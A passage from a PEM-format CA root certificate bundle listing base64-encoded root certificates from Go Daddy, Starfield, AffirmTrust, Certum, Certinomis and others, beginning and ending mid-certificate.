bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xJzAlBgNVBAMTHkdsb2JhbCBDaGFtYmVyc2lnbiBSb290IC0gMjAwODAeFw0wODA4MDExMjMx NDBaFw0zODA3MzExMjMxNDBaMIGsMQswCQYDVQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUg Y3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAGA1UEBRMJ QTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xJzAlBgNVBAMTHkdsb2JhbCBD aGFtYmVyc2lnbiBSb290IC0gMjAwODCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDf VtPkOpt2RbQT2//BthmLN0EYlVJH6xedKYiONWwGMi5HYvNJBL99RDaxccy9Wglz1dmFRP+RVyXf XjaOcNFccUMd2drvXNL7G706tcuto8xEpw2uIRU/uXpbknXYpBI4iRmKt4DS4jJvVpyR1ogQC7N0 ZJJ0YPP2zxhPYLIj0Mc7zmFLmY/CDNBAspjcDahOo7kKrmCgrUVSY7pmvWjg+b4aqIG7HkF4ddPB /gBVsIdU6CeQNR1MM62X/JcumIS/LMmjv9GYERTtY/jKmIhYF5ntRQOXfjyGHoiMvvKRhI9lNNgA TH23MRdaKXoKGCQwoze1eqkBfSbW+Q6OWfH9GzO1KTsXO0G2Id3UwD2ln58fQ1DJu7xsepeY7s2M H/ucUa6LcL0nn3HAa6x9kGbo1106DbDVwo3VyJ2dwW3Q0L9R5OP4wzg2rtandeavhENdk5IMagfe Ox2YItaswTXbo6Al/3K1dh3ebeksZixShNBFks4c5eUzHdwHU1SjqoI7mjcv3N2gZOnm3b2u/GSF HTynyQbehP9r6GsaPMWis0L7iwk+XwhSx2LE1AVxv8Rk5Pihg+g+EpuoHtQ2TS9x9o0o9oOpE9Jh wZG7SMA0j0GMS0zbaRL/UJScIINZc+18ofLx/d33SdNDWKBWY8o9PeU1VlnpDsogzCtLkykPAgMB AAGjggFqMIIBZjASBgNVHRMBAf8ECDAGAQH/AgEMMB0GA1UdDgQWBBS5CcqcHtvTbDprru1U8VuT BjUuXjCB4QYDVR0jBIHZMIHWgBS5CcqcHtvTbDprru1U8VuTBjUuXqGBsqSBrzCBrDELMAkGA1UE BhMCRVUxQzBBBgNVBAcTOk1hZHJpZCAoc2VlIGN1cnJlbnQgYWRkcmVzcyBhdCB3d3cuY2FtZXJm aXJtYS5jb20vYWRkcmVzcykxEjAQBgNVBAUTCUE4Mjc0MzI4NzEbMBkGA1UEChMSQUMgQ2FtZXJm aXJtYSBTLkEuMScwJQYDVQQDEx5HbG9iYWwgQ2hhbWJlcnNpZ24gUm9vdCAtIDIwMDiCCQDJzdPp 1X0jzjAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0 dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAICIf3DekijZBZRG /5BXqfEv3xoNa/p8DhxJJHkn2EaqbylZUohwEurdPfWbU1Rv4WCiqAm57OtZfMY18dwY6fFn5a+6 ReAJ3spED8IXDneRRXozX1+WLGiLwUePmJs9wOzL9dWCkoQ10b42OFZyMVtHLaoXpGNR6woBrX/s dZ7LoR/xfxKxueRkf2fWIyr0uDldmOghp+G9PUIadJpwr2hsUF1Jz//7Dl3mLEfXgTpZALVza2Mg 9jFFCDkO9HB+QHBaP9BrQql0PSgvAm11cpUJjUhjxsYjV5KTXjXBjfkK9yydYhz2rXzdpjEetrHH foUm+qRqtdpjMNHvkzeyZi99Bffnt0uYlDXA2TopwZ2yUDMdSqlapskD7+3056huirRXhOukP9Du qqqHW2Pok+JrqNS4cnhrG+055F3Lm6qH1U9OAP7Zap88MQ8oAgF9mOinsKJknnn4SPIVqczmyETr P3iZ8ntxPjzxmKfFGBI/5rsoM0LpRQp8bfKGeS/Fghl9CYl8slR2iK7ewfPM4W7bMdaTrpmg7yVq c5iJWzouE4gev8CSlDQb4ye3ix5vQv/n6TebUB0tovkC7stYWDpxvGjjqsGvHCgfotwjZT+B6q6Z 09gwzxMNTxXJhLynSC34MCN32EZLeW32jO06f2ARePTpm67VVMB0gNELQp/B -----END CERTIFICATE----- Go Daddy Root Certificate Authority - G2 ======================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5 MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq 9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD +qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9 BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r 5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1 -----END CERTIFICATE----- Starfield Root Certificate Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0 eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx 4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- Starfield Services Root Certificate Authority - G2 ================================================== -----BEGIN CERTIFICATE----- MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2 h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6 -----END CERTIFICATE----- AffirmTrust Commercial ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6 BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv 0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8= -----END CERTIFICATE----- AffirmTrust Networking ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24 /PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6 12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23 WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9 /ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s= -----END CERTIFICATE----- AffirmTrust Premium =================== -----BEGIN CERTIFICATE----- MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV 5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs +7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04 6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5 /bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo +Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC 6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK +4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60 g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw== -----END CERTIFICATE----- AffirmTrust Premium ECC ======================= -----BEGIN CERTIFICATE----- MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X 57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM eQ== -----END CERTIFICATE----- Certum Trusted Network CA ========================= -----BEGIN CERTIFICATE----- MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4 fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0 cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1 mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI 03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw= -----END CERTIFICATE----- Certinomis - Autorité Racine ============================= -----BEGIN CERTIFICATE----- MIIFnDCCA4SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJGUjETMBEGA1UEChMK Q2VydGlub21pczEXMBUGA1UECxMOMDAwMiA0MzM5OTg5MDMxJjAkBgNVBAMMHUNlcnRpbm9taXMg LSBBdXRvcml0w6kgUmFjaW5lMB4XDTA4MDkxNzA4Mjg1OVoXDTI4MDkxNzA4Mjg1OVowYzELMAkG A1UEBhMCRlIxEzARBgNVBAoTCkNlcnRpbm9taXMxFzAVBgNVBAsTDjAwMDIgNDMzOTk4OTAzMSYw JAYDVQQDDB1DZXJ0aW5vbWlzIC0gQXV0b3JpdMOpIFJhY2luZTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAJ2Fn4bT46/HsmtuM+Cet0I0VZ35gb5j2CN2DpdUzZlMGvE5x4jYF1AMnmHa wE5V3udauHpOd4cN5bjr+p5eex7Ezyh0x5P1FMYiKAT5kcOrJ3NqDi5N8y4oH3DfVS9O7cdxbwly Lu3VMpfQ8Vh30WC8Tl7bmoT2R2FFK/ZQpn9qcSdIhDWerP5pqZ56XjUl+rSnSTV3lqc2W+HN3yNw 2F1MpQiD8aYkOBOo7C+ooWfHpi2GR+6K/OybDnT0K0kCe5B1jPyZOQE51kqJ5Z52qz6WKDgmi92N jMD2AR5vpTESOH2VwnHu7XSu5DaiQ3XV8QCb4uTXzEIDS3h65X27uK4uIJPT5GHfceF2Z5c/tt9q c1pkIuVC28+BA5PY9OMQ4HL2AHCs8MF6DwV/zzRpRbWT5BnbUhYjBYkOjUjkJW+zeL9i9Qf6lSTC lrLooyPCXQP8w9PlfMl1I9f09bze5N/NgL+RiH2nE7Q5uiy6vdFrzPOlKO1Enn1So2+WLhl+HPNb xxaOu2B9d2ZHVIIAEWBsMsGoOBvrbpgT1u449fCfDu/+MYHB0iSVL1N6aaLwD4ZFjliCK0wi1F6g 530mJ0jfJUaNSih8hp75mxpZuWW/Bd22Ql095gBIgl4g9xGC3srYn+Y3RyYe63j3YcNBZFgCQfna 4NH4+ej9Uji29YnfAgMBAAGjWzBZMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G A1UdDgQWBBQNjLZh2kS40RR9w759XkjwzspqsDAXBgNVHSAEEDAOMAwGCiqBegFWAgIAAQEwDQYJ KoZIhvcNAQEFBQADggIBACQ+YAZ+He86PtvqrxyaLAEL9MW12Ukx9F1BjYkMTv9sov3/4gbIOZ/x WqndIlgVqIrTseYyCYIDbNc/CMf4uboAbbnW/FIyXaR/pDGUu7ZMOH8oMDX/nyNTt7buFHAAQCva R6s0fl6nVjBhK4tDrP22iCj1a7Y+YEq6QpA0Z43q619FVDsXrIvkxmUP7tCMXWY5zjKn2BCXwH40 nJ+U8/aGH88bc62UeYdocMMzpXDn2NU4lG9jeeu/Cg4I58UvD0KgKxRA/yHgBcUn4YQRE7rWhh1B CxMjidPJC+iKunqjo3M3NYB9Ergzd0A4wPpeMNLytqOx1qKVl4GbUu1pTP+A5FPbVFsDbVRfsbjv JL1vnxHDx2TCDyhihWZeGnuyt++uNckZM6i4J9szVb9o4XVIRFb7zdNIu0eJOqxp9YDG5ERQL1TE qkPFMTFYvZbF6nVsmnWxTfj3l/+WFvKXTej28xH5On2KOG4Ey+HTRRWqpdEdnV1j6CTmNhTih60b WfVEm/vXd3wfAXBioSAaosUaKPQhA+4u2cGA6rnZgtZbdsLLO7XSAPCjDuGtbkD326C00EauFddE wk01+dIL8hf2rGbVJLJP0RyZwG71fet0BLj5TXcJ17TPBzAJ8bgAVtkXFhYKK4bfjwEZGuW7gmP/ vgt2Fl43N+bYdJeimUV5 -----END CERTIFICATE----- Root CA Generalitat Valenciana ============================== -----BEGIN CERTIFICATE----- MIIGizCCBXOgAwIBAgIEO0XlaDANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJFUzEfMB0GA1UE ChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UECxMGUEtJR1ZBMScwJQYDVQQDEx5Sb290 IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmEwHhcNMDEwNzA2MTYyMjQ3WhcNMjEwNzAxMTUyMjQ3 WjBoMQswCQYDVQQGEwJFUzEfMB0GA1UEChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UE CxMGUEtJR1ZBMScwJQYDVQQDEx5Sb290IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmEwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDGKqtXETcvIorKA3Qdyu0togu8M1JAJke+WmmmO3I2 F0zo37i7L3bhQEZ0ZQKQUgi0/6iMweDHiVYQOTPvaLRfX9ptI6GJXiKjSgbwJ/BXufjpTjJ3Cj9B ZPPrZe52/lSqfR0grvPXdMIKX/UIKFIIzFVd0g/bmoGlu6GzwZTNVOAydTGRGmKy3nXiz0+J2ZGQ D0EbtFpKd71ng+CT516nDOeB0/RSrFOyA8dEJvt55cs0YFAQexvba9dHq198aMpunUEDEO5rmXte JajCq+TA81yc477OMUxkHl6AovWDfgzWyoxVjr7gvkkHD6MkQXpYHYTqWBLI4bft75PelAgxAgMB AAGjggM7MIIDNzAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnBraS5n 